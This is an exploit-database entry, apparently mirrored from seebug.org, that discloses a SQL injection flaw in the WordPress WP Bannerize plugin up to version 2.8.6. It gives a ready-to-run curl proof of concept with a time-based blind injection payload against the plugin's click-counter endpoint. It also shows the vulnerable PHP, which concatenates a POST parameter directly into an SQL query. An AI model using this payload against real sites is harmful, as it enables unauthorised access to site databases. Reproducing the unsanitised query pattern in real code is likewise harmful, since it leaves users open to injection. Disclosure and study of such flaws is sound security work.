Wordpress Plugin Bannerize <= 2.8.6 - SQL Injection

2014-07-0100:00:00

Root

www.seebug.org

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                                                # Exploit Title: WordPress WP Bannerize plugin &#60;= 2.8.6 SQL Injection Vulnerability
# Date: 2011-08-31
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip
# Version: 2.8.6 (tested)

---
PoC
---
curl --data &#34;id=-1 AND 1=IF(2&#62;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- &#34; -H &#34;X-Requested-With:XMLHttpRequest&#34; http://www.site.com/wp-content/plugins/wp-bannerize/ajax_clickcounter.php

---------------
Vulnerable code
---------------
if ( @isset($_SERVER[&#39;HTTP_X_REQUESTED_WITH&#39;]) ) {
    ...
    $sql = &#34;UPDATE `&#34; . $wpdb-&#62;prefix .&#34;bannerize_b` SET `clickcount` = `clickcount`+1 WHERE id = &#34; . $_POST[&#39;id&#39;];
    $result = mysql_query($sql);

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